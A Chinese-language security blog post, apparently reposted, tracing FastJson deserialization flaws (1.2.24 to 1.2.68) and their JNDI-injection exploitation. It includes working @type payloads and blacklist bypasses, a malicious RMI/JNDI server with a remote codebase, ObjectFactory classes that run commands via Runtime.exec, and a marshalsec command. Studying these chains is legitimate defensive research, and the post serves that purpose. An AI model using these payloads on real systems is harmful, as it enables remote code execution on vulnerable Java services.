纵览FastJson关键历史版本的JNDI注入
2023-6-25 10:46:40 Author: 白帽子左一(查看原文) 阅读量:37 收藏

扫码领资料

获黑客教程

免费&进群

这篇文章大致分析了一些FastJson历史版本的漏洞以及配合JDNI注入的利用,但也只是笔者认为比较好利用的几个gadget。在48后大多需要开autotype才能利用的链其实都大同小异,所以只分析了CVE-2019-14540

  1. <dependency>

  2. <groupId>com.alibaba</groupId>

  3. <artifactId>fastjson</artifactId>

  4. <version>1.2.53</version>

  5. </dependency>

建立一个用户类,实现Setter和getter方法

  1. package FastJson;

  2. public class User {

  3. private int age;

  4. private String name;

  5. public int getAge() {

  6. System.out.println("getAge方法被自动调用!");

  7. return age;

  8. }

  9. public void setAge(int age) {

  10. System.out.println("setAge方法被自动调用!");

  11. this.age = age;

  12. }

  13. public String getName() {

  14. System.out.println("getName方法被自动调用!");

  15. return name;

  16. }

  17. public void setName(String name) {

  18. System.out.println("setName方法被自动调用!");

  19. this.name = name;

  20. }

  21. }

调用com.alibaba.fastjson.JSON将JSON文本解析为对象,其中组件名为FastJson.User

  1. package FastJson;

  2. import com.alibaba.fastjson.JSON;

  3. import com.alibaba.fastjson.JSONObject;

  4. import com.alibaba.fastjson.parser.ParserConfig;

  5. public class Victim {

  6. public static void main(String[] args) {

  7. //使用@type指定该JSON字符串应该还原成何种类型的对象

  8. String userInfo = "{\"@type\":\"

  9. FastJson.User\",\"name\":\"hpdoger\", \"age\":18}";

  10. //开启setAutoTypeSupport支持autoType

  11. ParserConfig.global.setAutoTypeSupport(true);

  12. //反序列化成User对象

  13. JSONObject user = JSON.parseObject(userInfo);

  14. //User user = (User) JSON.parse(userInfo);//只会调用setXX方法

  15. //System.out.println(user.getName());

  16. }

  17. }


对于parse的函数有些要注意的:

  • JSON.parseObject调用全部属性的getXX方法,和设置属性的setXX方法

  • JSON.parse只会调用setXX方法,不会自动调用getXX

  • 是否调用setXX方法,是根据JSON字符串中是否有相应的字段决定的。如果去掉age字段则不会调用setAge方法。

关闭autotype

从v1.2.25开始,fastjson默认关闭了autotype支持,只加载白名单中的类。这里本地1.53环境自然默认没有AutoType,走一遍解析JSON的主要操作。

以调用parseObject(evil.obj)为例,经过几个parse的重载后进入com.alibaba.fastjson.parser.DefaultJSONParser#parseObject处理逻辑,对for(;;)循环中每一次获取到的key值进行判断,若为@type则进行实例加载的逻辑

typeName的值从lexer.scanSymbol(symbolTable, '"')获取,在scanSymbol内部的逻辑中,还对组件名进行了16进制解码的处理(如下),因此可以将组件名进行16进制编码绕过一些Filter,空指针2019的空开赛就有这样的利用。

  1. case '\\': // 92

  2. hash = 31 * hash + (int) '\\';

  3. putChar('\\');

  4. break;

  5. case 'x':

  6. char x1 = ch = next();

  7. char x2 = ch = next();

  8. int x_val = digits[x1] * 16 + digits[x2];

  9. char x_char = (char) x_val;

  10. hash = 31 * hash + (int) x_char;

  11. putChar(x_char);

  12. break;

  13. case 'u':

  14. char c1 = chLocal = next();

  15. char c2 = chLocal = next();

  16. char c3 = chLocal = next();

  17. char c4 = chLocal = next();

  18. int val = Integer.parseInt(new String(new char[] { c1, c2, c3, c4 }), 16);

  19. hash = 31 * hash + val;

  20. putChar((char) val);

  21. break;

获取组件名typename后跟进config.checkAutoType函数

  1. public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {

  2. if (autoTypeSupport || expectClassFlag) {

  3. long hash = h3;

  4. for (int i = 3; i < className.length(); ++i) {

  5. hash ^= className.charAt(i);

  6. hash *= PRIME;

  7. if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {

  8. clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);

  9. if (clazz != null) {

  10. return clazz;

  11. }

  12. }

  13. if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {

  14. throw new JSONException("autoType is not support. " + typeName);

  15. }

  16. }

  17. }

  18. }

可以看到如果开启了autotypeexpectClassFlag,则会先从acceptHashCodes(白名单)中检索组件,存在即返回。否则再从denyHashCodes(黑名单)检索,存在就exit,而黑名单是根据denyHashCodes列表作为判断,每个hash对应的组件名见github:fastjson-blacklist

代码继续向下走,进入关键的一步。由于我们利用的组件不在白名单中,此处的clazz==null依然成立,但是autoTypeSupport || jsonType || expectClassFlag三者皆为false,无法进入判断,自然也不会对组件进行loadClass

  1. if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {

  2. boolean cacheClass = autoTypeSupport || jsonType;

  3. clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

  4. }

也就是当不开启autoType,即使依赖存在也就会抛出如下的错误

因此,在后续的FastJson利用链中,攻防点主要在于开发者手动开启了autotype,对黑名单的绕过和加固。

开启autotype

设置ParserConfig.global.setAutoTypeSupport(true);,前面的操作和关闭aotutype相同,直接将断点下在TypeUtils.loadClass并跟进

  1. Class<?> clazz = mappings.get(className);

  2. if(clazz != null){

  3. return clazz;

  4. }

  5. if(className.charAt(0) == '['){

  6. Class<?> componentType = loadClass(className.substring(1), classLoader);

  7. return Array.newInstance(componentType, 0).getClass();

  8. }

  9. if(className.startsWith("L") && className.endsWith(";")){

  10. String newClassName = className.substring(1, className.length() - 1);

  11. return loadClass(newClassName, classLoader);

  12. }

由于我们mappings里没有缓存,clazz依然为null,代码继续向下走判断className若包含”L”则去除后重新TypeUtils.loadClass。这里要提一下FJ1.2.25-1.2.41的版本存在的问题,在这些版本的FJ中,com.alibaba.fastjson.parser.ParserConfig的逻辑如下

默认没有autoType,但是先进行了黑名单比对后再TypeUtils.loadClass,而在TypeUtils.loadClass中可以将”L”除去导致上一步的黑名单bypass。例如Lcom.sun.rowset.JdbcRowSetImpl最终被处理成为loadClass的参数:com.sun.rowset.JdbcRowSetImpl

言归正传,我们继续向下分析1.53的TypeUtils.loadClass流程(如下代码)

  1. try{

  2. ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

  3. if(contextClassLoader != null && contextClassLoader != classLoader){

  4. clazz = contextClassLoader.loadClass(className);

  5. if (cache) {

  6. mappings.put(className, clazz);

  7. }

  8. return clazz;

  9. }

  10. } catch(Throwable e){

  11. // skip

  12. }

在通过Thread.currentThread().getContextClassLoader()获取了当前线程上下文的ClassLoader之后,就可以进行真正的ClassLoader.loadClass操作将”com.xxx”加载进JVM

到这里clazz已经成功获取为组件的Class实例了,接下来就是对Class的反序列化操作deserializer.deserialze(this, clazz, fieldName)后调用set方法,而在set方法里常常有lookup的调用导致JNDI注入

漏洞环境

  • maven直接加1.2.24

  • JDK 8u92

  • 无需开启autotype

demo如下。这是FJ最通用也是最早的攻击链,组件com.sun.rowset.JdbcRowSetImpl非外部依赖,利用性要好的多,在FJ后续利用bypass大部分基于此组件的利用。

  1. package FastJson;

  2. import com.alibaba.fastjson.JSON;

  3. import com.sun.rowset.JdbcRowSetImpl;

  4. public class Demo124 {

  5. public static void main(String[] args) {

  6. String poc1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}";

  7. JSON.parseObject(poc1);

  8. }

  9. }

漏洞分析

漏洞点在于jdbc实现connect的函数中调用了lookupthis.getDataSourceName()可以通过setDataSourceName方法设置,很简单就不做过多分析了。

  • 无需autotype

  • JDK 8u92

poc如下,前文”#开启autotype”部分已经分析,在loadClass的时候会循环replaceL;绕过黑名单

  1. "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":false}"

漏洞环境

  • 无需外部依赖

  • JDK 8u92

  • 无需autotype

漏洞分析

demo

  1. package FastJson;

  2. import com.alibaba.fastjson.JSON;

  3. import com.sun.rowset.JdbcRowSetImpl;

  4. public class Demo124 {

  5. public static void main(String[] args) {

  6. String poc2 = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}]";

  7. JSON.parseObject(poc2);

  8. }

  9. }

可以看到POC里是数组的形式,一共有两个@type值。依然从parseObject逻辑开始跟,遍历第一个@type时,获取的clazzclass java.lang.Class

  1. Object obj = deserializer.deserialze(this, clazz, fieldName);

  2. return obj;

跟进deserializer.deserialze,此时lexer.token()LITERAL_STRING,所以我们要保证payload第一个键值为“val”,否则抛出异常

  1. public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {

  2. ...//

  3. Object objVal;

  4. if (lexer.token() == JSONToken.LITERAL_STRING) {

  5. if (!"val".equals(lexer.stringVal())) {

  6. throw new JSONException("syntax error");

  7. }

  8. lexer.nextToken();

  9. } else {

  10. throw new JSONException("syntax error");

  11. }

  12. objVal = parser.parse();

  13. strVal = (String) objVal;

  14. if (clazz == Class.class) {

  15. return (T) TypeUtils.loadClass(strVal,parser.getConfig().getDefaultClassLoader());

  16. }

经过parser函数解析获取“val”的键值,当前strValcom.sun.rowset.JdbcRowSetImpl,同时clazz\==Class.class,将strVal带入TypeUtils.loadClass处理,这里两参数的loadClass在内部调用了三参数的loadClass,并且cache默认为true

从下图可以看出,三参数的loadClass在cache开启时,将com.sun.rowset.JdbcRowSetImplClass实例组成的键值对写入mappings

所以遍历数组的第二个@type值时,在ParserConfig.java#checkAutoType中从mappings里加载缓存过的组件com.sun.rowset.JdbcRowSetImpl,之后就是常规的setDataSourceName#lookup利用

  1. if (clazz == null) {

  2. clazz = TypeUtils.getClassFromMapping(typeName);

  3. }

  4. //TypeUtils.java

  5. public static Class<?> getClassFromMapping(String className){

  6. return mappings.get(className);

  7. }

这个漏洞核心点还是在于当@type值为java.lang.Class时,会通过TypeUtils.loadClass加载其属性名并且缓存。搜索一下发现也只有这样的逻辑才能调用两参数的TypeUtils.loadClass,整个利用还是比较有趣的。

这个需要开启autotype,看看分析就好

漏洞环境

  • com.zaxxer.hikari.HikariConfig组件

  • maven直接加1.2.53的依赖(<1.2.60都可)

  • JDK 8u92

  • 需要开启autotype

坑点:本地jkd 8u211会因为版本过高而无法进行JDNI注入,7u80会因为版本过低而无法反射调用com.zaxxer.hikari.HikariConfig

漏洞分析

上文提到在解析JSON文本为对象后,会调用对象的set方法,在com.zaxxer.hikari.HikariConfig这个组件的setMetricRegistry方法中调用了getObjectOrPerformJndiLookup方法,且metricRegistry字段在JSON文本中可控。

继续跟进getObjectOrPerformJndiLookup方法发现调用了initCtx.lookup,存在JDNI注入,只需要控制metricRegistry字段指向攻击者的RMI-Server,即可绑定JDNI Reference(攻击手段介绍参考JNDI注入)。

漏洞环境

  • maven直接加1.2.68的依赖

  • JDK 8u92

  • 无需开启autotype

Demo168.java

  1. package FastJson;

  2. import com.alibaba.fastjson.JSON;

  3. public class Demo168 {

  4. public static void main(String[] args) {

  5. String poc2 = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"Factory.Evil\", \"name\":\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}";

  6. JSON.parseObject(poc2);

  7. }

  8. }

Factory.Evil.java

  1. package Factory;

  2. import java.io.IOException;

  3. public class Evil implements java.lang.AutoCloseable{

  4. private String name;

  5. public void setName(String cmd){

  6. try{

  7. Runtime.getRuntime().exec(cmd);

  8. } catch (IOException e) {

  9. e.printStackTrace();

  10. }

  11. }

  12. @Override

  13. public void close() throws Exception {

  14. }

  15. }

漏洞分析

依然是解析的入口com/alibaba/fastjson/parser/DefaultJSONParser.java跟起

  1. public final Object parseObject(final Map object, Object fieldName) {

  2. ...

  3. if (!allDigits) {

  4. clazz = config.checkAutoType(typeName, null, lexer.getFeatures());

  5. }

  6. lexer.nextToken(JSONToken.COMMA);

  7. ...

  8. }

parseObject调用config.checkAutoType解析第一个@type指向的组件时,可以从TypeUtils.mappings里找到并返回

返回clazz后lexer指向下一个Token(也就是字符),获取反序列化器JavaBeanDeserializer后进行JSON反序列化操作

  1. ObjectDeserializer deserializer = config.getDeserializer(clazz);

  2. Class deserClass = deserializer.getClass();

  3. Object obj = deserializer.deserialze(this, clazz, fieldName);

  4. return obj;

继续跟进JavaBeanDeserializer.deserialze,根据token值获取第二个@type组件值并赋值给typeName,此时的type为进入函数伊始的参数interface java.lang.AutoCloseable,获取expectClass为其Class实例

  1. protected <T> T deserialze(DefaultJSONParser parser, //

  2. Type type, //

  3. Object fieldName, //

  4. Object object, //

  5. int features, //

  6. int[] setFlags) {

  7. int token = lexer.token();

  8. key = lexer.scanSymbol(parser.symbolTable);

  9. String typeName = lexer.stringVal();

  10. ....

  11. Class<?> expectClass = TypeUtils.getClass(type);

  12. userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());

接着跟进config.checkAutoType解析第二个@type组件,这一次由于expectClass存在且不为下述任意实例,因此expectClassFlag赋值为true。

  1. final boolean expectClassFlag;

  2. if (expectClass == null) {

  3. expectClassFlag = false;

  4. } else {

  5. if (expectClass == Object.class

  6. || expectClass == Serializable.class

  7. || expectClass == Cloneable.class

  8. || expectClass == Closeable.class

  9. || expectClass == EventListener.class

  10. || expectClass == Iterable.class

  11. || expectClass == Collection.class

  12. ) {

  13. expectClassFlag = false;

  14. } else {

  15. expectClassFlag = true;

  16. }

  17. }

我们在上文”#开启autotype”已经分析过,48版本以后会经过如下代码三个变量的检测判断是否可以loadClass,那么这里就创造了expectClassFlag变量这一条件

  1. if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {

  2. boolean cacheClass = autoTypeSupport || jsonType;

  3. clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

  4. }

checkAutotype函数最后用isAssignableFrom判断第二个@type指向的组件是否为expectClass的子类或子接口,否则抛出Error。这也就是该利用链最大的限制,需要从下列类的子类或子接口中找到一个可利用的setget方法

  1. 白名单(符合白名单条件的类)

  2. TypeUtils.mappings (符合缓存映射中获取的类)

  3. typeMapping ParserConfig中本身带有的集合)

  4. deserializers (符合反序列化器的类)

利用局限

由于需要在子类或子接口中找利用,几乎没有可用的JNDI点,能利用的点多在于写文件。具体的poc参考threedr3am

自己编写RMI-Server

Server

  1. package jndi;

  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;

  3. import javax.naming.Reference;

  4. import java.rmi.Naming;

  5. import java.rmi.registry.LocateRegistry;

  6. public class JNDIServer {

  7. public static void main(String[] args) throws Exception{

  8. String url = "http://127.0.0.1:7777/";

  9. // 对象的工厂类名

  10. String className = "Factory.Exploit";

  11. // 监听RMI服务端口

  12. LocateRegistry.createRegistry(1099);

  13. // 创建一个远程的JNDI对象工厂类的引用对象

  14. Reference reference = new Reference(className, className, url);

  15. // 转换为RMI引用对象

  16. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

  17. // 绑定一个恶意的Remote对象到RMI服务

  18. Naming.bind("rmi://127.0.0.1:1099/Exploit", referenceWrapper);

  19. System.out.println("RMI服务启动成功");

  20. }

  21. }

Factory.Exploit.java如下,编译成class或jar后放代理服务上(我选择用python3 -m http.server 7777放到/Factory/Exploit.class)

  1. package Factory;

  2. import javax.naming.Context;

  3. import javax.naming.Name;

  4. import javax.naming.spi.ObjectFactory;

  5. import java.util.Hashtable;

  6. public class Exploit implements ObjectFactory {

  7. public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {

  8. // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE

  9. return Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

  10. }

  11. }

使用marshalsec做RMI/LDAP-Server

恶意工厂类编译、放置与上述操作相同,要注意如果自己创建JNDI SPI Server,那么绑定到codebase上的类名可以自定义包结构,也就是增加package名。但是marshasec转发到codebase上的恶意类,必须要求无任何package

启动RMI-Server

  1. java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:7777/\#MExploit 1099

MExploit.java如下,不允许有包名

  1. import javax.naming.Context;

  2. import javax.naming.Name;

  3. import javax.naming.spi.ObjectFactory;

  4. import java.util.Hashtable;

  5. public class MExploit implements ObjectFactory {

  6. public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {

  7. // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE

  8. return Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

  9. }

  10. }

为了防止自己咕咕咕,挖个坑下一篇文章好好分析

吐槽一句,各种汇总exp的文章中对于某些特定版本的利用条件(例如是否需要开启autotype)很多都是错的,至少在我分析到47的时候,FastJson对于autotype这一选项的依赖程度还不是那么离谱。但是跟到48版本以后,几乎就绕不过这一选项了。

原文地址:https://hpdoger.cn/2021/01/12/title: 纵览FastJson关键历史版本的JNDI注入/

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

给第一次做渗透项目的新手总结的一些感悟

「登陆页面」常见的几种渗透思路与总结!

突破口!入职安服后的经验之谈

红队渗透下的入口权限快速获取

攻防演练|红队手段之将蓝队逼到关站!

CNVD 之5000w通用产品的收集(fofa)

自动化挖掘cnvd证书脚本

Xray捡洞中的高频漏洞

实战|通过供应链一举拿下目标后台权限

实战|一次真实的域渗透拿下域控(内网渗透)

看到这里了,点个“赞”、“再看”吧


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247596157&idx=1&sn=0e177027cf07dca440ccbf0785cbd610&chksm=ebeb3150dc9cb84614ce8785c6553232c19b2a2836c50fd57b9378f1d96de6a09bd4f95cf99f#rd
如有侵权请联系:admin#unsafe.sh